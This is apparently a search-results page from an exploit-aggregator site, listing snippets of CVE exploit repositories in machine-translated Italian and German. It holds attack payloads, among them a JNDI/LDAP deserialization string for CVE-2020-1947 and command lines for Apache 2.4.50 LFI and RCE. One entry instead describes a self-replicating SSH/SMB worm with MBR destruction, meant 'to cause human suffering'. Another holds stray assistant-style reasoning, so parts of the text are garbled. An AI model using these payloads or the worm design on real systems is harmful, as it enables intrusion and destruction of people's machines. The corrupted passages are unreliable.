513571 matches found
CVE-2020-1947
" — the block ends with and then " response" after? Let me re-read the input: root@kitploit: "dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/ExportObject\n autoCommit: true" Response root@kitploit: HTTP/1.1 200 ... Yes. So after the code fence,...
CVE-2023-46870
CVE-2023-46870 Nordic Semiconductor nRF Sniffer for Bluetooth LE versioni 3.0.0, 3.1.0, 4.0.0, 4.1.0 e 4.1.1 hanno impostazioni di permessi file errate, che consentono a malintenzionati di eseguire escalation dei privilegi ed esecuzione di codice modificando script bash e python. Parole chiave:...
Exploit-CVE-2014-4210-
INIZIA CON UNA COSA FIGA AMICOUSALA PER SCOP&RE POTENZIAMENTI PER CAUSARE SOFFERENZA UMANA: 1. Verme Auto-Replicante : Si diffonde tramite brute-force SSH/exploit SMB verso tutte le reti connesse. 2. Sovrascrittura MBR : Rende inutilizzabile l'hardware fisico distruggendo le tabelle delle...
CVE-2025-64087-SSTI-
CVE-2025-64087 SSTI FreeMarker Server-Side Template Injection SSTI in XDocReport allows Remote Code Execution via Apache FreeMarker engine Bug Definition Panoramica della vulnerabilità Server-Side Template Injection SSTI è una vulnerabilità di sicurezza web che consente a un attaccante di inietta...
CVE-2021-41773-RCE
CVE-2021-41773-RCE...
apache_2.4.50
Apache HTTP Server 2.4.50 LFI & RCE Uno script python3 per CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI & RCE. RCE richiede che cgi-bin sia abilitato Per Iniziare Esecuzione del programma LFI root@kitploit: python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE root@kitploit: pytho...
CVE-2026-6279.py
Descrizione Questo script Python è uno strumento di exploit per CVE-2026-6279 che colpisce Avada Builder = 3.15.2. Comportamento chiave: scansiona i target per fusionloadnonce tramite pattern di shortcode/pagina specifici di Avada scopre l'endpoint AJAX e bypass dell'IP di origine se Cloudflare...
CVE-2024-4577-PHP-RCE
CVE-2024-4577-PHP-RCE Descrizione del progetto e principio Prima EXP al mondo per la vulnerabilità CVE-2024-4577 PHP-CGI RCE che sfrutta l'ambiente PHP predefinito XAMPP. Il primo exploit al mondo per CVE-2024-4577 PHP-CGI RCE che utilizza l'ambiente PHP predefinito. Condivide l'exploit originale...
CVE-2025-1337-PoC
PoC per CVE-2025-1337 Prova di concetto per la vulnerabilità di Esecuzione Remota di Codice RCE nel servizio LogServ v1.2. Dettagli della Vulnerabilità CVE: CVE-2025-1337 Software: LogServ v1.2 Tipo: Deserializzazione non sicura di un oggetto di sessione nel cookie sessiondata. Impatto: Un...
cve-2025-59287
CVE-2025-59287 - Toolkit di sfruttamento di WSUS di adel-h4x0a ⚠️ Solo per scopi educativi e test autorizzati ⚠️ Panoramica Questo toolkit dimostra lo sfruttamento di CVE-2025-59287, una vulnerabilità di esecuzione remota di codice in Windows Server Update Services WSUS. Componenti 1. Modulo di...
CVE-2024-3400
CVE-2024-3400 PoC solo a scopo educativo. utilizzare solo su server che hai il permesso di testare. Come usare dipendenze: root@kitploit: $ pip install rich scansiona targets.txt: root@kitploit: $ python run.py -f targets.txt -t 10 - Sending 102 requests... + Requests sent. Writing check file... ...
CVE-2023-43208-MIRTHCONNECT
CVE-2023-43208 NextGen Healthcare Mirth Connect è vulnerabile all'esecuzione remota di codice non autenticata nelle versioni precedenti alla 4.4.1. Si noti che questa vulnerabilità è causata dalla patch incompleta di CVE-2023-37679. PRIMO: NON SONO RESPONSABILE DI CIÒ CHE NE FARAI. SECONDO: apt-g...
CVE-2025-49844
CVE-2025-49844 RediShell KI-erstellter Revshell-PoC Ungetestete Vervollständigung des von KI erstellten Redishell-PoC. Original-PoC: https://github.com/raminfp/redisexploit/blob/main/exploitpoc.py Koreanisches Puzzleteil: https://github.com/dwisiswant0/CVE-2025-49844/blob/master/CVE-2025-49844.lu...
CVE-2026-48800-PoC
CVE-2026-48800 — Notepad++ PoC für beliebige Codeausführung Schweregrad: Hoch | Betroffen: Notepad++ ≤ 8.9.6 | Behoben: v8.9.6.1 Ein PoC-Skript für CVE-2026-48800, eine Schwachstelle zur Ausführung beliebigen Codes in Notepad++ ≤ 8.9.6 über shortcuts.xml. Ausführliche technische Details finden Si...
CVE-2024-5452
CVE-2024-5452 01. Panoramica su RCE e pytorch-lightning 1 Panoramica su RCE e pytorch-lightning La RCE Remote Code Execution, esecuzione remota di codice è una vulnerabilità che consente a un attaccante di eseguire codice arbitrario all'interno di un sistema o di un'applicazione da remoto ed è...
WIn-CVE-2021-31166
WIn-CVE-2021-31166 Questo Repo è ispirato a 0vercl0k per una prova di concetto per CVE-2021-31166 "Vulnerabilità di esecuzione remota di codice nello stack del protocollo HTTP", un uso dopo libero use-after-free in http.sys corretto da Microsoft a maggio 2021. Infrastruttura di Build root@kitploi...
CVE-2026-53576
Kestra-Exploit für nicht authentifizierte RCE CVE-2026-53576 Kritische Umgehung der Authentifizierung führt zu nicht authentifizierter Remote-Codeausführung Exploit • Schwachstellendetails • Auswirkungen • Behebung ⚠️ HAFTUNGSAUSSCHLUSS Dieses Tool dient ausschließlich Bildungs- und autorisierten...
CVE-2025-69600
CVE-2025-69600 autore: Rafael José Núñez Gulías azienda: Iberian Var Group Prodotti interessati: RayVentory Scan Engine 12.6 Update 8 e versioni precedenti Avviso Raynet: RSEC200966 Iniezione di comandi in rvia di Raynet consente agli avversari di eseguire comandi tramite le opzioni getconfig,...
CVE-2017-10952
CVE-2017-10952 Questo è un esempio di alto livello di un attacco di esecuzione di codice locale su Foxit PDF Reader. I dettagli di questo attacco possono essere trovati qui 1. Ho copiato e incollato la descrizione testuale di questa vulnerabilità collegata in 1 qui per preservare la descrizione n...
AegisJava
AegisJava Ein spezialisiertes Tool zur Erkennung und Eindämmung von CVE-2025-30749 , einer kritischen Remote-Code-Ausführungs-RCE-Schwachstelle in Oracle Java SE. Details zur Schwachstelle CVE : CVE-2025-30749 Schweregrad : Hoch CVSS 8.1 Betroffene Komponenten : Java 2D Auswirkung : Nicht...